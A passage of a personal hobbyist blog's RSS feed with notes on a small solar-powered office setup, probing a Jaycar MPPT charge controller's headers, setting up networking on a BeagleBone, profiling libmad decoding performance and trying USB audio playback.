power it! This page has notes.&lt;/p&gt;
&lt;p&gt;Most bits are from Jaycar.&lt;/p&gt;
&lt;p&gt;A 380 W pure sine wave inverter. The fan stays off under normal &amp;lt; 100 W
draw use. No inverter noise. Not hot. Thumbs up!&lt;/p&gt;
&lt;p&gt;Started with a single 80 W 12 V Chinese monocrystaline panel. Peaks at 5
A. Peak power at ~16 V. Comes with waterproof connectors.&lt;/p&gt;
&lt;p&gt;Started with a PWM charge controller. Pick 20 A for future capacity.
Developed a peak of around 60 W (12 V @ 5 A). Changing to a MPPT gives
an extra ~30 % (16 V = +4 V @ 5 A).&lt;/p&gt;
&lt;p&gt;20 A mains flex is fine. Not UV proof though.&lt;/p&gt;
&lt;p&gt;Added a second panel.&lt;/p&gt;
&lt;p&gt;Thinkpad R500 laptop with Ubuntu Precise takes 40 W @ 240 V with the
screen on, 60 W peak. Charge controller said it was delivering 50 W so
10 W loss + error in the inverter. Power factor is nasty.&lt;/p&gt;
&lt;p&gt;Single small spare car battery gives OK storage. Only really needed for
bridging. Probably won&amp;rsquo;t last.&lt;/p&gt;
&lt;p&gt;Mild cloud cover reduces output to ~1/3. Surprising.&lt;/p&gt;
&lt;p&gt;Point the panel north, your latitude from the ground. I was surprised
with how accurate this is at the start of Autum. Measured the altitude
of the sun using my shadow and it matched well. 
&lt;a href=&#34;http://solarelectricityhandbook.com/solar-angle-calculator.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Solar angle
calculator&lt;/a&gt;
says 70 degrees in summer, 46 in autumn, and 22 in winter, and winter is
coming&amp;hellip;&lt;/p&gt;
&lt;p&gt;Going for best winter performance (31 degrees) gives 2.81 kWh/m2/day at
worst, 4.54 in summer. Best summer gives 2.30 to 5.64. Best winter gives
22 % more energy at the most needed time.&lt;/p&gt;
&lt;p&gt;(Panel is 1210 x 540 = 0.65 m2. 80 W and ~1 kW/m2 gives ~12 % efficient)&lt;/p&gt;
&lt;p&gt;8 hours with 2 x 15 W lights, 50 W laptop, 10 W loss = 90 W * 8 hours =
0.72 kWh. 0.65 x 2 m2 of panels @ 12 % @ 2.81 hWh/m2/day = 0.44 hWh = 61
% of needed.&lt;/p&gt;
&lt;p&gt;Azimuth of the sun changes by 90 degrees during the day.&lt;/p&gt;
&lt;p&gt;Use a 230 V relay for automatic changeover. Draws &amp;lt; 1 W. Change in &amp;lt;
16 ms.&lt;/p&gt;
&lt;h2 id=&#34;parts&#34;&gt;Parts&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Catalogue&lt;/th&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;Price&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;MP3735&lt;/td&gt;
&lt;td&gt;12V/24V 30A MPPT Solar Charge Controller&lt;/td&gt;
&lt;td&gt;309&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ZM9300&lt;/td&gt;
&lt;td&gt;80W Recreational Solar Package Deal&lt;/td&gt;
&lt;td&gt;375&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MP-3128&lt;/td&gt;
&lt;td&gt;Solar Charging Controller&lt;/td&gt;
&lt;td&gt;-43.9&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ZM9097&lt;/td&gt;
&lt;td&gt;Powertech Monocrystalline Solar Panel - 80W&lt;/td&gt;
&lt;td&gt;359&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MI5162&lt;/td&gt;
&lt;td&gt;380 Watt 12VDC to 230VAC Pure Sine Wave Inverter&lt;/td&gt;
&lt;td&gt;312&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;12 V car battery&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WB1568&lt;/td&gt;
&lt;td&gt;5 m 20 A mains flex&lt;/td&gt;
&lt;td&gt;24.5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Hobby box&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;M4 x 12&lt;/td&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;M6 x 15&lt;/td&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;5 m aluminium channel&lt;/td&gt;
&lt;td&gt;60&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Total is $1400. Too much.&lt;/p&gt;
&lt;h2 id=&#34;pictures&#34;&gt;Pictures&lt;/h2&gt;
&lt;p&gt;&lt;img src=&#34;front.jpg&#34; alt=&#34;Prototype on the back lawn&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;top.jpg&#34; alt=&#34;Chair happens to set the panel at the right angle&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;box.jpg&#34; alt=&#34;Box upside down showing charge controller and inverter&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;further&#34;&gt;Further&lt;/h2&gt;
&lt;p&gt;We have gas hot water and a heat pump. Consumption is 6500 kWh/year @
20.44 c/kWh = $1335 / year. Peak is July at 22 kWh/day. Summer is 10
kWh/day.&lt;/p&gt;
&lt;p&gt;The June 2009 Motukiekie Island ECEA study says 2.72 kWp cost $17 k.
Batteries $12 k, inverters $13 k.&lt;/p&gt;
&lt;p&gt;$17 k / 2.72 kWp = $6.25/Wh. A 80 W panel would be $500. Difference must
be framing and installation.&lt;/p&gt;
&lt;p&gt;Solarbuzz says the average price per Wp is $2.29 US for the module.
Gives $7800 for the same system.&lt;/p&gt;
&lt;p&gt;Guess and say we need a 3 kW inverter. $0.711 US/kW ~= $3000.&lt;/p&gt;
&lt;p&gt;Auckland and Christchurch get 2050 sunshine h/year. 3.1 kWp ideally to
cover it.&lt;/p&gt;
&lt;p&gt;The iMiEV has a 16 kWh battery and can do 160 km. 20 km/day ~= 2kWh.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Jaycar MP3735 MPPT solar charge controller</title>
      <link>https://juju.nz/michaelh/note/mp3735/</link>
      <pubDate>Sun, 25 Mar 2012 00:00:00 +0000</pubDate>
      <guid>https://juju.nz/michaelh/note/mp3735/</guid>
      <description>&lt;p&gt;I&amp;rsquo;m using the 
&lt;a href=&#34;http://jaycar.co.nz/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Jaycar&lt;/a&gt;

&lt;a href=&#34;http://jaycar.co.nz/productView.asp?ID=MP3735&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;MP3735&lt;/a&gt; 12V/24V 30A MPPT
Solar Charge Controller for charging my office. It&amp;rsquo;s got a micro on
board so let&amp;rsquo;s open the box and try and get more information out of it.&lt;/p&gt;
&lt;p&gt;The board ID reads:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ISC3040MPPT-V2.0
2011-3-28
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The stickers read:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ISC-MPPT-V11
ISC3040-V11
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Searching for similar keeps bringing up the

&lt;a href=&#34;http://www.provistahk.com&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;ProVista&lt;/a&gt; Maxi ISC 30. Same plastics but a
different colour trim. There&amp;rsquo;s a model range but no mention of
monitoring on any.&lt;/p&gt;
&lt;p&gt;The CON2 header reads:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SDA  SCL  XRES  G  5V
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The CON1 header reads something like:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PCLK  P???  GND  5V  --
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;CON2 is probably I2C. There&amp;rsquo;s a periodic packet of data clocked at
around 82 kHz.&lt;/p&gt;
&lt;p&gt;Everything is 5 V which makes hooking it to my favourite 3.3 V STM32
tricky.&lt;/p&gt;
&lt;h2 id=&#34;photos&#34;&gt;Photos&lt;/h2&gt;
&lt;p&gt;&lt;img src=&#34;data.jpg&#34; alt=&#34;Data panel&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;front.jpg&#34; alt=&#34;Front side of the PCB&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;back.jpg&#34; alt=&#34;Back side of the PCB&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;board-id.jpg&#34; alt=&#34;Board ID on the back of the PCB&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;headers.jpg&#34; alt=&#34;Headers on the top front&#34;&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>BeagleBone</title>
      <link>https://juju.nz/michaelh/note/bone/</link>
      <pubDate>Wed, 07 Mar 2012 00:00:00 +0000</pubDate>
      <guid>https://juju.nz/michaelh/note/bone/</guid>
      <description>&lt;p&gt;This page has terse notes on installing the

&lt;a href=&#34;http://www.linaro.org/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Linaro&lt;/a&gt; LEB root filesystem on a

&lt;a href=&#34;http://beagleboard.org/bone&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;BeagleBone&lt;/a&gt;, setting up the USB Ethernet
gadget, and enabling basic networking.&lt;/p&gt;
&lt;h2 id=&#34;initial&#34;&gt;Initial&lt;/h2&gt;
&lt;p&gt;Grab the boot partition contents to get MLO, u-boot, and the kernel.&lt;/p&gt;
&lt;p&gt;Grab the modules from the rootfs.&lt;/p&gt;
&lt;p&gt;Use 
&lt;a href=&#34;https://launchpad.net/linaro-image-tools&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;linaro-media-create&lt;/a&gt; to
fill the SD card. Claim we&amp;rsquo;re a BeagleBoard for no real reason.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./linaro-media-create --mmc /dev/sdb-check-this --dev beagle \
    --rootfs ext4 --console ttyO0,115200n8 \
    --hwpack ~/Downloads/hwpack_linaro-omap3_20120210-0_armel_supported.tar.gz \
    --binary ~/Downloads/linaro-o-developer-tar-20120210-0.tar.gz \
    --hwpack-force-yes --align-boot-part
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Copy the original boot files to the new &lt;code&gt;boot&lt;/code&gt; partition and the
original modules to the new &lt;code&gt;rootfs&lt;/code&gt; partition.&lt;/p&gt;
&lt;h2 id=&#34;boot-issues&#34;&gt;Boot issues&lt;/h2&gt;
&lt;p&gt;Seems to hang. Use an initial shell via:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;set ip_method none --verbose init=/bin/sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;/etc/network/interfaces&lt;/code&gt; includes a DHCP on eth0 which is causing the
long boot time. Disable.&lt;/p&gt;
&lt;p&gt;I prefer LABEL=rootfs instead of UUID in /etc/fstab.&lt;/p&gt;
&lt;h2 id=&#34;enabling-gadget-based-networking&#34;&gt;Enabling gadget based networking&lt;/h2&gt;
&lt;p&gt;Add &lt;code&gt;g_ether&lt;/code&gt; to &lt;code&gt;/etc/modules&lt;/code&gt; to enable the USB Ethernet gadget.&lt;/p&gt;
&lt;p&gt;Add a &lt;code&gt;iface usb0 inet static&lt;/code&gt; stanza to /etc/network/interfaces:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;auto usb0
iface usb0 inet static
    address 192.168.7.10
    netmask 255.255.255.0
    gateway 192.168.7.1
    hwaddress ether fa:aa:55:aa:55:01
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Set /etc/modprobe.d/gether.conf to &lt;code&gt;options g_ether host_addr=fa:aa:55:aa:55:02&lt;/code&gt; to fix the host MAC address.&lt;/p&gt;
&lt;p&gt;Note the fixed instead of random MAC address.&lt;/p&gt;
&lt;p&gt;Setup usb0 on the host as 192.168.7.1. Note that NetworkManager might
interfere. If so, add a connection for the usb0 MAC address that does
nothing.&lt;/p&gt;
&lt;p&gt;SSH into the host and forward off to the main network proxy:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh -L 8123:proxy:8123 -N michaelh@192.168.7.1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Install openssh-server:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http_proxy=http://localhost:8123/ apt-get install openssh-server
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Add a user &lt;code&gt;adduser michaelh&lt;/code&gt;, put them in the sudo group &lt;code&gt;adduser michaelh admin&lt;/code&gt;, ssh in from the host.&lt;/p&gt;
&lt;p&gt;You can now ssh into the board.&lt;/p&gt;
&lt;h2 id=&#34;internet-access-via-the-host&#34;&gt;Internet access via the host&lt;/h2&gt;
&lt;p&gt;The Maemo guys have documented this at
&lt;a href=&#34;http://wiki.maemo.org/USB&#34;&gt;http://wiki.maemo.org/USB&lt;/a&gt;_networking.&lt;/p&gt;
&lt;p&gt;On the host, add a usb0 stanza to &lt;code&gt;/etc/network/interfaces&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;iface usb0 inet static
        address 192.168.7.1
        netmask 255.255.255.0
        up echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward
        up iptables -P FORWARD ACCEPT
        up iptables -A POSTROUTING -t nat -j MASQUERADE -s 192.168.7.0/24
        down echo 0 &amp;gt; /proc/sys/net/ipv4/ip_forward
        down iptables -t nat -F POSTROUTING
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&#34;post-boot&#34;&gt;Post boot&lt;/h2&gt;
&lt;p&gt;Set the hostname:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo bone &amp;gt; /etc/hostname
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Consider installing &lt;code&gt;avahi-daemon&lt;/code&gt;. Allows &lt;code&gt;ssh bone.local&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sudo ntpdate-debian&lt;/code&gt; to set the date. Works best with eth0 due to the
forwarding delays in usb0.&lt;/p&gt;
&lt;p&gt;Make a LED turn on and off:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd /sys/devices/platform/leds-gpio/leds/beaglebone::usr2
echo 255 &amp;gt; brightness
echo 0 &amp;gt; brightness
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Profit.&lt;/p&gt;
&lt;h2 id=&#34;wireless&#34;&gt;Wireless&lt;/h2&gt;
&lt;p&gt;I have a Edimax EW-7711UTn USB Wifi dongle.&lt;/p&gt;
&lt;p&gt;Add a wlan0 stanza to /etc/network/interfaces:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;auto wlan0
iface wlan0 inet dhcp
        wireless-essid Public
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;(I have a profile on my router called &amp;lsquo;Public&amp;rsquo; with no password).&lt;/p&gt;
&lt;p&gt;Actually, it drops after a while. Ignore.&lt;/p&gt;
&lt;h2 id=&#34;notes&#34;&gt;Notes&lt;/h2&gt;
&lt;p&gt;Env:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;autoload=yes
baudrate=115200
bootargs_defaults=setenv bootargs console=${console} ${optargs}
bootcmd=if mmc rescan; then echo SD/MMC found on device ${mmc_dev};if run loadbootenv; then echo Loaded environment from ${bootenv};run importbootenv;fi;if test -n $uenvcmd; then echo Running uenvcmd ...;run uenvcmd;fi;if run mmc_load_uimage; then run mmc_args;bootm 0x80007fc0;fi;fi;run nand_boot;
bootdelay=1
bootenv=uEnv.txt
bootfile=uImage
console=ttyO0,115200n8
ethact=cpsw
ethaddr=40:5f:c2:76:ab:62
importbootenv=echo Importing environment from mmc ...; env import -t $loadaddr $filesize
ip_method=none
loadaddr=0x82000000
loadbootenv=fatload mmc ${mmc_dev} ${loadaddr} ${bootenv}
mmc_args=run bootargs_defaults;setenv bootargs ${bootargs} root=${mmc_root} rootfstype=${mmc_root_fs_type} ip=${ip_method}
mmc_boot=run mmc_args; run mmc_load_uimage; bootm 0x80007fc0
mmc_dev=0
mmc_load_uimage=fatload mmc ${mmc_dev} 0x80007fc0 ${bootfile}
mmc_load_uimage_ext2=ext2load ${mmc_dev} 0x80007fc0 /boot/${bootfile}
mmc_root=/dev/mmcblk0p2 ro
mmc_root_fs_type=ext4 rootwait
nand_args=run bootargs_defaults;setenv bootargs ${bootargs} root=${nand_root} noinitrd rootfstype=${nand_root_fs_type} ip=${ip_method}
nand_boot=echo Booting from nand ...; run nand_args; nand read.i ${loadaddr} ${nand_src_addr} ${nand_img_siz}; bootm ${loadaddr}
nand_img_siz=0x500000
nand_root=/dev/mtdblock7 rw
nand_root_fs_type=jffs2
nand_src_addr=0x280000
net_args=run bootargs_defaults;setenv bootargs ${bootargs} root=/dev/nfs nfsroot=${serverip}:${rootpath},${nfsopts} rw ip=dhcp
net_boot=echo Booting from network ...; setenv autoload no; dcache off; dhcp; tftp ${loadaddr} ${bootfile}; run net_args; bootm ${loadaddr}
nfsopts=nolock
nor_args=run bootargs_defaults;setenv bootargs ${bootargs} root={nor_root} rootfstype=${nor_root_fs_type} ip=${ip_method}
nor_boot=echo Booting from NOR ...; run nor_args; cp.b ${0x08080000} ${loadaddr} ${nor_img_siz}; bootm ${loadaddr}
nor_img_siz=0x280000
nor_root=/dev/mtdblock3 rw
nor_root_fs_type=jffs2
nor_src_addr=0x08080000
rootpath=/export/rootfs
script_addr=0x81900000
spi_args=run bootargs_defaults;setenv bootargs ${bootargs} root=${spi_root} rootfstype=${spi_root_fs_type} ip=${ip_method}
spi_boot=echo Booting from spi ...; run spi_args; sf probe ${spi_bus_no}:0; sf read ${loadaddr} ${spi_src_addr} ${spi_img_siz}; bootm ${loadaddr}
spi_bus_no=0
spi_img_siz=0x280000
spi_root=/dev/mtdblock4 rw
spi_root_fs_type=jffs2
spi_src_addr=0x62000
static_ip=${ipaddr}:${serverip}:${gatewayip}:${netmask}:${hostname}::off
stderr=serial
stdin=serial
stdout=serial
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>libmad on the BeagleBone</title>
      <link>https://juju.nz/michaelh/note/bonemad/</link>
      <pubDate>Wed, 07 Mar 2012 00:00:00 +0000</pubDate>
      <guid>https://juju.nz/michaelh/note/bonemad/</guid>
      <description>&lt;p&gt;(or really any Cortex-A)&lt;/p&gt;
&lt;p&gt;[[notes/bonemad]]&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;m mainly interested in performance as power used ~= 1/performance.&lt;/p&gt;
&lt;p&gt;Using libmad-0.15.1b-7ubuntu1 from Precise and Linaro GCC 4.6 2012.02 as
a cross build setup.&lt;/p&gt;
&lt;p&gt;Has its own complicated and out of date way of selecting the
optimisations. Ubuntu turns this into a -O2. Scans the &lt;code&gt;CFLAGS&lt;/code&gt; to pull
out the optimisation.&lt;/p&gt;
&lt;p&gt;At 720 MHz over USB.&lt;/p&gt;
&lt;p&gt;Default -O2 setup: 23.4 s, 21.4 s, 21.5 s, 21.5 s&lt;/p&gt;
&lt;p&gt;Switch to userspace governor and lock at 720 MHz: 21.2 s, 21.2 s, 21.2 s&lt;/p&gt;
&lt;p&gt;-O3 setup: 21.2 s, 21.2 s&amp;hellip;&lt;/p&gt;
&lt;p&gt;&amp;hellip;as it&amp;rsquo;s picking up the system libmad!&lt;/p&gt;
&lt;p&gt;-O3 setup: 21.5 s, 21.5 s&lt;/p&gt;
&lt;p&gt;-O2 setup: 21.5 s, 21.5 s&lt;/p&gt;
&lt;p&gt;There&amp;rsquo;s very little difference in size - ~30 bytes. As the Ubuntu patch
forces it to -O2 and ignores the earlier CFLAGS parsing.&lt;/p&gt;
&lt;p&gt;-O3 setup: 21.7 s, 21.7 s - slower!&lt;/p&gt;
&lt;p&gt;Disable the assembly routines and see how it changes.&lt;/p&gt;
&lt;p&gt;-O3 noasm: 20.0 s, 20.0 s&lt;/p&gt;
&lt;p&gt;-O2 noasm: 20.4 s, 20.4 s&lt;/p&gt;
&lt;p&gt;-O3 noasm -mfpu=neon (turns on the vectoriser): 19.9 s, 19.9 s.&lt;/p&gt;
&lt;p&gt;Not much change which suggests a very hot function or some bad code.
perf time!&lt;/p&gt;
&lt;p&gt;perf report:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;55.17%  minimad  libc-2.13.so       [.] _IO_putc
15.50%  minimad  libmad.so.0.2.1    [.] synth_full
 7.02%  minimad  libmad.so.0.2.1    [.] III_decode
 6.51%  minimad  libmad.so.0.2.1    [.] loop
 5.29%  minimad  libmad.so.0.2.1    [.] dct32
 2.64%  minimad  minimad            [.] output
 1.81%  minimad  libmad.so.0.2.1    [.] III_imdct_l
 1.29%  minimad  libmad.so.0.2.1    [.] mad_bit_read
 0.97%  minimad  libmad.so.0.2.1    [.] III_aliasreduce
 0.96%  minimad  libmad.so.0.2.1    [.] normal_block_x0_to_x17
 0.89%  minimad  libmad.so.0.2.1    [.] normal_block_x18_to_x35
 0.54%  minimad  minimad            [.] mad_stream_errorstr@plt
 0.41%  minimad  minimad            [.] mad_decoder_finish@plt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Or, in other words, dominated by the sample writer in minimad. Probably
due to this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sample = scale(*left_ch++);
putchar((sample &amp;gt;&amp;gt; 0) &amp;amp; 0xff);
putchar((sample &amp;gt;&amp;gt; 8) &amp;amp; 0xff);

if (nchannels == 2) {
  sample = scale(*right_ch++);
  putchar((sample &amp;gt;&amp;gt; 0) &amp;amp; 0xff);
  putchar((sample &amp;gt;&amp;gt; 8) &amp;amp; 0xff);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Writes 1152 samples per callback. Turn this into a scale-to-buffer to
keep some semblance of an output layer&amp;hellip;&lt;/p&gt;
&lt;p&gt;8.3 s, 8.3 s. Much better. perf shows:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;36.80%  minimad  libmad.so.0.2.1    [.] synth_full
17.44%  minimad  libmad.so.0.2.1    [.] III_decode
15.46%  minimad  libmad.so.0.2.1    [.] loop
13.12%  minimad  libmad.so.0.2.1    [.] dct32
 3.84%  minimad  libmad.so.0.2.1    [.] III_imdct_l
 3.32%  minimad  libmad.so.0.2.1    [.] mad_bit_read
 2.33%  minimad  libmad.so.0.2.1    [.] III_aliasreduce
 2.31%  minimad  libmad.so.0.2.1    [.] normal_block_x18_to_x35
 2.21%  minimad  libmad.so.0.2.1    [.] normal_block_x0_to_x17
 0.59%  minimad  minimad            [.] output
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;-O3 noasm novect: 8.6 s, 8.7 s&lt;/p&gt;
&lt;p&gt;Note the noasm version is lower fidelity. I guess the assembly version
keeps things in 64 bits for longer.&lt;/p&gt;
&lt;p&gt;-O3 asm novect: 10.3 s, 10.3 s&lt;/p&gt;
&lt;p&gt;-O3 noasm vect -marm: 8.2 s, 8.2 s. So Thumb-2 is similar to ARM mode.&lt;/p&gt;
&lt;p&gt;-O3 noasm vect -mtune=cortex-a8: 8.8 s, 8.1 s, 8.1 s. Tuned for A8
instead of A9 is slightly better.&lt;/p&gt;
&lt;h2 id=&#34;hot-functions&#34;&gt;Hot functions&lt;/h2&gt;
&lt;p&gt;Decent so far is -O3 noasm vect -mtune=cortex-a8 in Thumb-2. Hot
functions are:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;37.33%  minimad  libmad.so.0.2.1    [.] synth_full
17.46%  minimad  libmad.so.0.2.1    [.] loop
15.93%  minimad  libmad.so.0.2.1    [.] III_decode
12.10%  minimad  libmad.so.0.2.1    [.] dct32
 4.23%  minimad  libmad.so.0.2.1    [.] III_imdct_l
 2.75%  minimad  libmad.so.0.2.1    [.] mad_bit_read
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;synth_full is dominated by ML0 and MLAs. There&amp;rsquo;s a 1..16 loop in there
which the vectoriser could hit. The compiler is spotting the mlas.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>BeagleBone playing media</title>
      <link>https://juju.nz/michaelh/note/bonemedia/</link>
      <pubDate>Fri, 02 Mar 2012 00:00:00 +0000</pubDate>
      <guid>https://juju.nz/michaelh/note/bonemedia/</guid>
      <description>&lt;p&gt;I have a XITEL MD-PORT AN1 USB Audio adapter. It sounds quite good. Can
I hook it to my BeagleBone and use it as a remote audio player?&lt;/p&gt;
&lt;p&gt;On Precise I
see:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[33777.196130] usb 6-2: new full-speed USB device number 6 using uhci_hcd
[33777.475281] input: XITEL MD-PORT AN1 as \
  /devices/pci0000:00/0000:00:1d.0/usb6/6-2/6-2:1.2/input/input17
[33777.475522] generic-usb 0003:09EF:0101.0006: input,hidraw0: \
  USB HID v1.00 Device [XITEL MD-PORT AN1] on usb-0000:00:1d.0-2/input2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The new nodes under /dev are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;/dev/bus/usb/006/006&lt;/li&gt;
&lt;li&gt;/dev/char/116:7&lt;/li&gt;
&lt;li&gt;/dev/char/116:8&lt;/li&gt;
&lt;li&gt;/dev/char/13:68&lt;/li&gt;
&lt;li&gt;/dev/char/189:645&lt;/li&gt;
&lt;li&gt;/dev/char/250:0&lt;/li&gt;
&lt;li&gt;/dev/hidraw0&lt;/li&gt;
&lt;li&gt;/dev/input/by-id/usb-XITEL_MD-PORT_AN1_XA292-event-if02&lt;/li&gt;
&lt;li&gt;/dev/input/by-path/pci-0000:00:1d.0-usb-0:2:1.2-event&lt;/li&gt;
&lt;li&gt;/dev/input/event4&lt;/li&gt;
&lt;li&gt;/dev/snd/by-id&lt;/li&gt;
&lt;li&gt;/dev/snd/by-id/usb-XITEL_MD-PORT_AN1_XA292-00&lt;/li&gt;
&lt;li&gt;/dev/snd/by-path/pci-0000:00:1d.0-usb-0:2:1.0&lt;/li&gt;
&lt;li&gt;/dev/snd/controlC1&lt;/li&gt;
&lt;li&gt;/dev/snd/pcmC1D0p&lt;/li&gt;
&lt;li&gt;/dev/vboxusb/006/006&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The new input device is interesting. Windows automatically changes to
the port when a headphone jack is plugged in - I wonder if the input
fires on insert/remove?&lt;/p&gt;
&lt;p&gt;On the bone I see:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;/dev/bus/usb/001/002&lt;/li&gt;
&lt;li&gt;/dev/char/116:0&lt;/li&gt;
&lt;li&gt;/dev/char/116:16&lt;/li&gt;
&lt;li&gt;/dev/char/13:64&lt;/li&gt;
&lt;li&gt;/dev/char/189:1&lt;/li&gt;
&lt;li&gt;/dev/input/by-id&lt;/li&gt;
&lt;li&gt;/dev/input/by-id/usb-XITEL_MD-PORT_AN1_XA292-event-if02&lt;/li&gt;
&lt;li&gt;/dev/input/by-path&lt;/li&gt;
&lt;li&gt;/dev/input/by-path/platform-musb-hdrc.1-usb-0:1:1.2-event&lt;/li&gt;
&lt;li&gt;/dev/input/event0&lt;/li&gt;
&lt;li&gt;/dev/snd/by-id&lt;/li&gt;
&lt;li&gt;/dev/snd/by-id/usb-XITEL_MD-PORT_AN1_XA292-00&lt;/li&gt;
&lt;li&gt;/dev/snd/by-path&lt;/li&gt;
&lt;li&gt;/dev/snd/by-path/platform-musb-hdrc.1-usb-0:1:1.0&lt;/li&gt;
&lt;li&gt;/dev/snd/controlC0&lt;/li&gt;
&lt;li&gt;/dev/snd/pcmC0D0p&lt;/li&gt;
&lt;li&gt;/dev/usbdev1.2&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So that&amp;rsquo;s good!&lt;/p&gt;
&lt;p&gt;Use mpg321 and madplay as tests. Using Linaro, so &lt;code&gt;apt-get install&lt;/code&gt;
them. Need alsa-utils for the Alsa support.&lt;/p&gt;
&lt;p&gt;Audio is terrible - choppy. kworker/0:1 sits at 95 % CPU. Can&amp;rsquo;t set
snd-usb-audio nrpacks as it&amp;rsquo;s compiled in.&lt;/p&gt;
&lt;p&gt;0006-usb-musb-cppi41_dma-Check-if-scheduling-is-required-.patch may fix
this. Build Angstrom and see.&lt;/p&gt;
&lt;p&gt;Still fails with
uImage-3.1-r2l+gitr1d84d8853fa30cf3db2571a5aec572accca4e29d-beaglebone-20120127084313.bin.&lt;/p&gt;
&lt;p&gt;Try PIO only? Might be that the patch works fine for high speed devices
but spends too much time spinning on others.&lt;/p&gt;
&lt;h2 id=&#34;new-kernel&#34;&gt;New kernel&lt;/h2&gt;
&lt;p&gt;It&amp;rsquo;s a confusing OpenEmbedded recipe based setup.&lt;/p&gt;
&lt;p&gt;Kernel is at git://arago-project.org/git/projects/linux-am33x.git&lt;/p&gt;
&lt;p&gt;meta-ti layer is at
git://git.angstrom-distribution.org/meta-texasinstruments&lt;/p&gt;
&lt;p&gt;The recipe is

